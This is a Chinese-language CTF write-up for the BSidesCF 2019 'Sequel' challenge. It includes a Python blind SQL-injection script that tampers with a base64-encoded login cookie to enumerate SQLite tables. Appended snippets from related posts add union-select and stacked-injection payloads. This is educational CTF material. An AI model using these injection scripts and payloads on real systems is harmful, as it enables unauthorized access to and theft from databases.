[BSidesCF 2019]Sequel SQLite注入

新知识点 :拿到任意账号后 得到cookie ,再篡改cookie进行注入

原创 HyyMbb 最后发布于2020-02-15 20:51:45 阅读数 16 收藏
展开
题目描述

首先是登录,我们爆破一下就好了~~
然后得到用户名和密码均为guest~~
这时登录成功后会返回一个cookie,而且长得很可疑~~

set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly

1

base64 解密一下得到

{"username":"guest","password":"guest"}

1

于是我们猜测是通过cookie注入~·
但是没想到得是数据库是SQLite,而不是mysql,搞了半天~~~
exp

import requests
import base64
import string
import sys
out = ""
while True:
    for letter in string.printable:
        tmp = out + letter
        payload = r‘{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name LIKE \"{}\" limit 1) OR \"","password":"guest"}}‘.format(tmp + ‘%‘)
        payload = base64.b64encode(payload.encode(‘utf-8‘)).decode(‘utf-8‘)
        r = requests.get(‘https://sequel-9cba4c8e.challenges.bsidessf.net/sequels‘, cookies={"1337_AUTH" : payload})
        if "Movie" in r.text:
            out = tmp
            sys.stdout.write(letter)
            sys.stdout.flush()
            break

1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16

查询所有表名(必须自己手工多次查询)

拆了列名 username,password
————————————————
版权声明:本文为CSDN博主「HyyMbb」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/a3320315/article/details/104334246

原文地址:https://www.cnblogs.com/nwzw-blog/p/12346639.html

时间: 2024-11-05 22:07:56

[BSidesCF 2019]Sequel SQLite注入的相关文章

Sqlite注入测试

测试了一个网站是Sqlite数据库,还装有安全狗,绕过了防护,找到Payload,写了一个Python脚本来跑表,这里总结一下: 取得sqlite数据库里所有的表名 查询table,type 段是'table',name段是table的名字, so: select name from sqlite_master where type='table' order by name; 查询一条记录:select name from sqlite_master where type='table' or

SQLite手工注入方法小结

SQLite 官网下载:www.sqlite.org/download.html sqlite管理工具:http://www.yunqa.de/delphi/products/sqlitespy/index sqlite_master隐藏表,具体内容如下: 字段:type/name/tbl_name/rootpage/sql sqlite注入测试: 1.Union select 查询 select * from test where id =1 and 1=2 union select name

Android SQLite (五 ) 全面详解(三)

SQLite约束 约束是在表的数据列上强制执行的规则.这些是用来限制可以插入到表中的数据类型.这确保了数据库中数据的准确性和可靠性.约束可以是列级或表级.列级约束仅适用于列,表级约束被应用到整个表. 以下是在SQLite中常用的约束: NOT NULL约束:确保某列不能有NULL值. DEFAULT约束:当某列没有指定值时,为该列提供默认值. UNIQUE约束:确保某列中的所有值是不同的. PRIMARY Key约束:唯一标识数据库表中的各行/记录. CHECK约束:CHECK约束确保某列中的所

Sqlite全面学习(三)

PS一句:最终还是选择CSDN来整理发表这几年的知识点,该文章平行迁移到CSDN.因为CSDN也支持MarkDown语法了,牛逼啊! [工匠若水 http://blog.csdn.net/yanbober] 本篇继续接上一篇,阅读上一篇<Sqlite全面学习(二)> SQLite约束 约束是在表的数据列上强制执行的规则.这些是用来限制可以插入到表中的数据类型.这确保了数据库中数据的准确性和可靠性.约束可以是列级或表级.列级约束仅适用于列,表级约束被应用到整个表. 以下是在SQLite中常用的约

(私人收藏)SQLite 全面手册以及教程

SQLite 全面手册以及教程 https://pan.baidu.com/s/1VKzCWjF79fAiOLjAlx-3zwnfkp SQLite 全面手册以及教程 SQLite 简介 SQLite 安装 SQLite 命令 SQLite 语法 SQLite 数据类型 SQLite 创建数据库 SQLite 附加数据库 SQLite 分离数据库 SQLite 创建表 SQLite 删除表 SQLite Insert 语句 SQLite Select 语句 SQLite 运算符 SQLite 表

NJCTF2017 Web Writeup

一个登陆和注册的功能,开始以为是注入,发现并不行.后来尝试了下弱口令 1 2 username:admin password:admin123 结果登录成功了..其实正解是注册时注册用户为admin后跟很多很多空格之后加个a就是注册时拼接到数据库时有长度限制一开始测试不成功是因为空格太少了,尴尬 Get Flag 看起来是一个搜索图片的框输入1.jpg后在返回页面查看源码,发现被base64加密过那么我直接读../../../../../../etc/passwd试试解base64发现确实可以读

sqlite数据库注入

sqlite数据库大部分在开发时使用,其注入语句也与其他数据库不同 sqlite数据库有一张sqlite_master表,里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息 sqlite数据库的注释符是两个横杠“--”,空格会自动用加号表示 测试回显位置, /new_list.php?id=1 union select 1,2,3,4 开始爆这个表的字段值/new_list.php?id=1 and 1=2 union select 1,name,s

强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; show columns from 表名; # 不过有点问题,只有words有回显.(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段) 大佬wp展示了一手存储过程绕过 payload: http://web16.buuoj.cn/?inject=1%27;[email 

[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

简介  原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array(); 7 $get = array(); 8 global $MysqlLink; 9 10 //GetPara(); 11 $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); 12 if(!$MysqlLink){ 1